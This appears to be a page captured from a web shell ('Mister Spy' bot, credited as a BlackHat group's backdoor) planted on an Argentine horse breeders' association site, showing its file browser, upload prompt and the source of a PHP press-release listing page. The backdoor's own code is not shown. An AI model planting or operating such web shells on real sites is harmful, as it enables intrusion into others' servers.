Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/
Upload File :
Current File : /home/caballoscriollos/www/espanol/prensa_gacetillas.php

<?php

	header('Location: ../sitio/');
	exit; 
require_once('../Connections/cnx.php'); 
require_once('../funcs.php'); 
//require_once('00_admin_look.php'); 
//require_once('ssi_seguridad.php'); 

function CortarCadena($String, $CantidadCaracteres)
{
	if (strlen($String) > $CantidadCaracteres)
		return substr($String, 0, $CantidadCaracteres) . '...';
	else
		return $String;
}


$currentPage = $_SERVER["PHP_SELF"];

// require_once('00_admin_Look.php'); 


$maxRows_rsGacetillas = 10;
$pageNum_rsGacetillas = 0;
if (isset($_GET['pageNum_rsGacetillas'])) {
  $pageNum_rsGacetillas = $_GET['pageNum_rsGacetillas'];
}
$startRow_rsGacetillas = $pageNum_rsGacetillas * $maxRows_rsGacetillas;

mysql_select_db($database_cnx, $cnx);
//$query_rsGacetillas = "SELECT * FROM gacetillas ORDER BY Titulo ASC";
$query_rsGacetillas = "SELECT * FROM gacetillas ORDER BY IdGacetilla DESC";
$query_limit_rsGacetillas = sprintf("%s LIMIT %d, %d", $query_rsGacetillas, $startRow_rsGacetillas, $maxRows_rsGacetillas);
$rsGacetillas = mysql_query($query_limit_rsGacetillas, $cnx) or die(mysql_error());
$row_rsGacetillas = mysql_fetch_assoc($rsGacetillas);

if (isset($_GET['totalRows_rsGacetillas'])) {
  $totalRows_rsGacetillas = $_GET['totalRows_rsGacetillas'];
} else {
  $all_rsGacetillas = mysql_query($query_rsGacetillas);
  $totalRows_rsGacetillas = mysql_num_rows($all_rsGacetillas);
}
$totalPages_rsGacetillas = ceil($totalRows_rsGacetillas/$maxRows_rsGacetillas)-1;

// ANALIZO SI EL RS ESTA VACIO y ADEMAS ESTA SETEADA LA VAR DE PAG. Si es asi, resto una y me voy a la pagina anterior.

if(isset($_GET['pageNum_rsGacetillas']) && $_GET['pageNum_rsGacetillas']>0 && mysql_num_rows($rsGacetillas)==0)
{
	header("location: gacetillas.php?pageNum_rsGacetillas=".($_GET['pageNum_rsGacetillas']-1));
	exit();
}

$queryString_rsGacetillas = "";

if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsGacetillas") == false && 
        stristr($param, "totalRows_rsGacetillas") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsGacetillas = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsGacetillas = sprintf("&totalRows_rsGacetillas=%d%s", $totalRows_rsGacetillas, $queryString_rsGacetillas);

if(isset($_SERVER['QUERY_STRING']) && isset($params[1])) {
	$query_string='?'.$params[0].'&'.$params[1].'&';
} else {
	$query_string='?';
}

?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- InstanceBegin template="/Templates/base_difusion.dwt.php" codeOutsideHTMLIsLocked="false" -->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<!-- InstanceBeginEditable name="doctitle" -->
<title>Asociaci&oacute;n Criadores de Caballos Criollos</title>
<!-- InstanceEndEditable -->
<!-- InstanceBeginEditable name="head" -->
<!-- InstanceEndEditable -->
<link href="../css/basico_frontend.css" rel="stylesheet" type="text/css" />
<script type="text/javascript">
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}
function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</script>
<!-- Global site tag (gtag.js) - Google Analytics -->

<script async src="https://www.googletagmanager.com/gtag/js?id=UA-112666274-1"></script>

<script>

  window.dataLayer = window.dataLayer || [];

  function gtag(){dataLayer.push(arguments);}

  gtag('js', new Date());

 

  gtag('config', 'UA-112666274-1');

</script>
</head>

<body onload="MM_preloadImages('images_difusion/btn_1_over.jpg','images_difusion/btn_2_over.jpg','images_difusion/btn_3_over.jpg','images_difusion/btn_4_over.jpg','images_difusion/btn_5_over.jpg')">
<table border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><a href="home.php"><img src="images_difusion/cabezal.jpg" width="993" height="133" border="0" /></a></td>
  </tr>
</table>
<table width="993" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="218" valign="top" bgcolor="#710906"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr style="display:none">
        <td><a href="prensa_home.php" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image2','','images_difusion/btn_1_over.jpg',1)"><img src="images_difusion/btn_1.jpg" name="Image2" width="218" height="41" border="0" id="Image2" /></a></td>
      </tr>
      <tr>
        <td><a href="prensa_identidad.php" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image3','','images_difusion/btn_2_over.jpg',1)"><img src="images_difusion/btn_2.jpg" name="Image3" width="218" height="42" border="0" id="Image3" /></a></td>
      </tr>
      <tr>
        <td><a href="prensa_gacetillas.php" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image4','','images_difusion/btn_3_over.jpg',1)"><img src="images_difusion/btn_3.jpg" name="Image4" width="218" height="42" border="0" id="Image4" /></a></td>
      </tr>
      <tr>
        <td><a href="prensa_medios_graficos.php" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image5','','images_difusion/btn_4_over.jpg',1)"><img src="images_difusion/btn_4.jpg" name="Image5" width="218" height="42" border="0" id="Image5" /></a></td>
      </tr>
      <tr>
        <td><a href="prensa_medios_radiales.php" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Image6','','images_difusion/btn_5_over.jpg',1)"><img src="images_difusion/btn_5.jpg" name="Image6" width="218" height="42" border="0" id="Image6" /></a></td>
      </tr>
      
    </table></td>
    <td valign="top" class="FondoBlanco"><table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="20">&nbsp;</td>
        <td>&nbsp;</td>
        <td width="10">&nbsp;</td>
      </tr>
      <tr>
        <td width="20">&nbsp;</td>
        <td><!-- InstanceBeginEditable name="Contenido" -->
          <?php if ($totalRows_rsGacetillas > 0) { // Show if recordset not empty ?>

<table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="25" background="images/accc_fondo_botonera.png"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
      <tr valign="middle">
        <td width="10" height="31">&nbsp;</td>
        <td height="31" class="TituloPrincipal">Gacetillas</td>
        <td height="31"><div align="right"><a href="javascript:history.back();" class="linkBlanco">[volver]</a></div></td>
        <td width="10" height="31" class="TituloPrincipal"><div align="right"></div></td>
      </tr>
    </table>    </td>
  </tr>
  <tr>
  	<td>&nbsp;</td>
  </tr>
  <tr>
    <td height="20" valign="top"><div align="right"> Registo <?php echo ($startRow_rsGacetillas + 1) ?> a <?php echo min($startRow_rsGacetillas + $maxRows_rsGacetillas, $totalRows_rsGacetillas) ?> de <?php echo $totalRows_rsGacetillas ?> </div></td>
    
  </tr>
</table>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
  
  <?php do { ?>
  <tr>
  	<td>&nbsp;</td>
  </tr>
  <tr> 
    <td width="222"><a class="linkBasico" href="prensa_gacetillas_detalle.php?IdGacetilla=<?=$row_rsGacetillas['IdGacetilla']?>"><span class="tituloNoticia"><?php echo $row_rsGacetillas['Titulo']; ?></span></a></td>
  
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td width="557"><?php echo CortarCadena(strip_tags($row_rsGacetillas['Descripcion']),300); ?></td> 
  </tr>
  <tr>
      <td><div align="right"><a href="prensa_gacetillas_detalle.php?IdGacetilla=<?=$row_rsGacetillas['IdGacetilla']?>" class="linkVolver">ver m&aacute;s &gt;</a></div></td>
  </tr>
  <tr>
  	<td>&nbsp;</td>
  </tr> 
  <tr height="1" bgcolor="#999999">
		<td height="1" colspan="9" bgcolor="#999999"></td>
  </tr>
      
  <?php } while ($row_rsGacetillas = mysql_fetch_assoc($rsGacetillas)); ?>
  <tr>
  	<td>&nbsp;</td>
  </tr>
</table>


<table width="20%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="23%" align="center"><?php if ($pageNum_rsGacetillas > 0) { // Show if not first page ?>
          <a href="<?php printf("%s?pageNum_rsGacetillas=%d%s", $currentPage, 0, $queryString_rsGacetillas); ?>"><img src="First.gif" border=0></a>
          <?php } // Show if not first page ?>
    </td>
    <td width="31%" align="center"><?php if ($pageNum_rsGacetillas > 0) { // Show if not first page ?>
          <a href="<?php printf("%s?pageNum_rsGacetillas=%d%s", $currentPage, max(0, $pageNum_rsGacetillas - 1), $queryString_rsGacetillas); ?>"><img src="Previous.gif" border=0></a>
          <?php } // Show if not first page ?>
    </td>
    <td width="23%" align="center"><?php if ($pageNum_rsGacetillas < $totalPages_rsGacetillas) { // Show if not last page ?>
          <a href="<?php printf("%s?pageNum_rsGacetillas=%d%s", $currentPage, min($totalPages_rsGacetillas, $pageNum_rsGacetillas + 1), $queryString_rsGacetillas); ?>"><img src="Next.gif" border=0></a>
          <?php } // Show if not last page ?>
    </td>
    <td width="23%" align="center"><?php if ($pageNum_rsGacetillas < $totalPages_rsGacetillas) { // Show if not last page ?>
          <a href="<?php printf("%s?pageNum_rsGacetillas=%d%s", $currentPage, $totalPages_rsGacetillas, $queryString_rsGacetillas); ?>"><img src="Last.gif" border=0></a>
          <?php } // Show if not last page ?>
    </td>
  </tr>
</table>
<?php } // Show if recordset not empty ?>
<?php if ($totalRows_rsGacetillas == 0) { // Show if recordset empty ?>
<table width="100%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><p align="center"><span class="tituloCategoriaMenu">Lo siento!</span></p></td>
  </tr>
  <tr>
    <td><div align="center">
        <p class="pNegroBold10">No hay registros disponibles</p>
    </div></td>
  </tr>
  <tr>
    <td><p>&nbsp;</p></td>
  </tr>
</table>
<?php } // Show if recordset empty ?>
		<!-- InstanceEndEditable --></td>
        <td width="10">&nbsp;</td>
      </tr>
      <tr>
        <td width="20">&nbsp;</td>
        <td>&nbsp;</td>
        <td width="10">&nbsp;</td>
      </tr>
    </table></td>
  </tr>
</table>
<table width="993" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#000000">
  <tr>
    <td height="51"><div align="center" class="TituloPrincipalHome">Asociaci&oacute;n de Criadores de Caballos Criollos / Larrea 670 - Piso 2 - Buenos Aires - Argentina / Tel/fax: + 54 11 4961-3387 / 2305</div></td>
  </tr>
</table>
</body>
<!-- InstanceEnd --></html>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat